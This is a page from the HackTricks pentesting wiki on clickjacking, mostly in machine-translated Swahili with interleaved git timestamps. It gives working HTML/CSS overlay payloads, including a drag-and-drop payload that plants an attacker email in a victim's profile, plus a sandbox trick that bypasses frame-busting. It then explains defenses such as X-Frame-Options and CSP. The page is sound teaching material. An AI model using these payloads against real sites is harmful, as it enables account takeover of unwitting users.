hacktricks/pentesting-web/clickjacking.md

230 lines
11 KiB
Markdown
Raw Normal View History

2022-06-06 22:28:05 +00:00
# Clickjacking
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
2022-04-28 16:01:33 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-06-06 22:28:05 +00:00
## What is Clickjacking
Katika shambulio la clickjacking, **mtumiaji** anachukuliwa **kuamini** kuwa **anaklik** **kipengele** kwenye ukurasa wa wavuti ambacho ni **bila kuonekana** au kimejificha kama kipengele kingine. Manipulasi hii inaweza kusababisha matokeo yasiyokusudiwa kwa mtumiaji, kama vile kupakua malware, kuelekezwa kwenye kurasa za wavuti zenye uharibifu, kutoa akreditif au taarifa nyeti, uhamishaji wa pesa, au ununuzi wa bidhaa mtandaoni.
2024-02-06 03:10:38 +00:00
### Prepopulate forms trick
Wakati mwingine inawezekana **kujaza thamani ya maeneo ya fomu kwa kutumia vigezo vya GET wakati wa kupakia ukurasa**. Mshambuliaji anaweza kutumia tabia hii kujaza fomu kwa data isiyo ya kawaida na kutuma payload ya clickjacking ili mtumiaji abonyeze kitufe cha Kutuma.
2020-10-13 11:29:54 +00:00
### Populate form with Drag\&Drop
2020-10-13 11:29:54 +00:00
Ikiwa unahitaji mtumiaji **ajaze fomu** lakini hutaki kumwambia moja kwa moja aandike taarifa maalum (kama barua pepe au nywila maalum unayojua), unaweza kumwambia tu **Drag\&Drop** kitu ambacho kitaandika data unayodhibiti kama katika [**mfano huu**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Basic Payload
```markup
<style>
2024-02-11 02:13:58 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Malipo ya Hatua Nyingi
```markup
<style>
2024-02-11 02:13:58 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Drag\&Drop + Click payload
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
2022-06-06 22:28:05 +00:00
### XSS + Clickjacking
Ikiwa umepata **shambulio la XSS linalohitaji mtumiaji kubonyeza** kwenye kipengee fulani ili **kuanzisha** XSS na ukurasa ni **hauna kinga dhidi ya clickjacking**, unaweza kutumia hii kumdanganya mtumiaji kubonyeza kitufe/kiungo.\
Mfano:\
_Umebaini **self XSS** katika maelezo binafsi ya akaunti (maelezo ambayo **ni wewe pekee unaweza kuweka na kusoma**). Ukurasa wenye **fomu** ya kuweka maelezo haya ni **hauna kinga** dhidi ya **Clickjacking** na unaweza **kujaza** **fomu** kwa vigezo vya GET._\
\_\_Mshambuliaji anaweza kuandaa shambulio la **Clickjacking** kwa ukurasa huo **ukijaza** **fomu** kwa **XSS payload** na **kumdanganya** **mtumiaji** ku **wasilisha** fomu. Hivyo, **wakati fomu inawasilishwa** na thamani zimebadilishwa, **mtumiaji atatekeleza XSS**.
## Mikakati ya Kupunguza Clickjacking
2024-02-11 02:13:58 +00:00
### Ulinzi wa Upande wa Mteja
Scripts zinazotekelezwa upande wa mteja zinaweza kufanya hatua za kuzuia Clickjacking:
* Kuhakikisha dirisha la programu ndilo dirisha kuu au la juu.
* Kufanya fremu zote ziwe wazi.
* Kuzuia bonyezo kwenye fremu zisizoonekana.
* Kugundua na kuwajulisha watumiaji kuhusu jaribio la Clickjacking.
Hata hivyo, scripts hizi za kuvunja fremu zinaweza kupuuziliwa mbali:
* **Mipangilio ya Usalama ya Kivinjari:** Baadhi ya vivinjari vinaweza kuzuia scripts hizi kulingana na mipangilio yao ya usalama au ukosefu wa msaada wa JavaScript.
* **HTML5 iframe `sandbox` Attribute:** Mshambuliaji anaweza kuondoa scripts za kuvunja fremu kwa kuweka sifa ya `sandbox` na thamani za `allow-forms` au `allow-scripts` bila `allow-top-navigation`. Hii inazuia iframe kuthibitisha ikiwa ni dirisha la juu, e.g.,
2024-02-06 03:10:38 +00:00
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
The `allow-forms` and `allow-scripts` values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like `allow-same-origin` and `allow-modals` might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.
### Server-Side Defenses
2024-02-06 03:10:38 +00:00
#### X-Frame-Options
The **`X-Frame-Options` HTTP response header** informs browsers about the legitimacy of rendering a page in a `<frame>` or `<iframe>`, helping to prevent Clickjacking:
* `X-Frame-Options: deny` - Hakuna domain inayoweza kuweka maudhui kwenye fremu.
* `X-Frame-Options: sameorigin` - Ni tovuti ya sasa pekee inayoweza kuweka maudhui kwenye fremu.
* `X-Frame-Options: allow-from https://trusted.com` - Ni 'uri' iliyoainishwa pekee inayoweza kuweka ukurasa kwenye fremu.
* Kumbuka mipaka: ikiwa kivinjari hakikubali mwelekeo huu, huenda usifanye kazi. Kivinjari vingine hupendelea mwelekeo wa CSP frame-ancestors.
#### Content Security Policy (CSP) frame-ancestors directive
**`frame-ancestors` directive in CSP** is the advised method for Clickjacking protection:
* `frame-ancestors 'none'` - Kama `X-Frame-Options: deny`.
* `frame-ancestors 'self'` - Kama `X-Frame-Options: sameorigin`.
* `frame-ancestors trusted.com` - Kama `X-Frame-Options: allow-from`.
For instance, the following CSP only allows framing from the same domain:
`Content-Security-Policy: frame-ancestors 'self';`
Further details and complex examples can be found in the [frame-ancestors CSP documentation](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) and [Mozilla's CSP frame-ancestors documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
2024-02-06 03:10:38 +00:00
### Content Security Policy (CSP) with `child-src` and `frame-src`
2024-02-06 03:10:38 +00:00
**Content Security Policy (CSP)** is a security measure that helps in preventing Clickjacking and other code injection attacks by specifying which sources the browser should allow to load content.
2024-02-06 03:10:38 +00:00
#### `frame-src` Directive
* Defines valid sources for frames.
* More specific than the `default-src` directive.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Hii sera inaruhusu fremu kutoka chanzo sawa (mwenyewe) na https://trusted-website.com.
2024-02-06 03:10:38 +00:00
#### `child-src` Mwelekeo
* Imeanzishwa katika kiwango cha CSP 2 kuweka vyanzo halali kwa wafanyakazi wa wavuti na fremu.
* Inafanya kazi kama akiba kwa frame-src na worker-src.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Hii sera inaruhusu fremu na wafanyakazi kutoka chanzo kimoja (mwenyewe) na https://trusted-website.com.
2024-02-06 03:10:38 +00:00
2024-02-11 02:13:58 +00:00
**Maelezo ya Matumizi:**
2024-02-06 03:10:38 +00:00
* Kuondolewa: child-src inatolewa polepole kwa ajili ya frame-src na worker-src.
* Tabia ya Kurejelea: Ikiwa frame-src haipo, child-src inatumika kama kurejelea kwa fremu. Ikiwa zote hazipo, default-src inatumika.
* Mwelekeo Mkali wa Chanzo: Jumuisha tu vyanzo vinavyotegemewa katika maagizo ili kuzuia unyakuzi.
#### JavaScript Frame-Breaking Scripts
2024-02-06 03:10:38 +00:00
Ingawa si salama kabisa, skripti za JavaScript zinazovunja fremu zinaweza kutumika kuzuia ukurasa wa wavuti usiweze kufanywa fremu. Mfano:
2024-02-06 03:10:38 +00:00
```javascript
if (top !== self) {
2024-02-11 02:13:58 +00:00
top.location = self.location;
2024-02-06 03:10:38 +00:00
}
```
#### Kutumia Tokeni za Anti-CSRF
* **Uthibitishaji wa Tokeni:** Tumia tokeni za anti-CSRF katika programu za wavuti ili kuhakikisha kwamba maombi yanayobadilisha hali yanafanywa kwa makusudi na mtumiaji na si kupitia ukurasa wa Clickjacked.
## Marejeleo
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) kujenga na **kujiendesha kiotomatiki** kazi zinazotolewa na zana za jamii **zilizoendelea zaidi** duniani.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}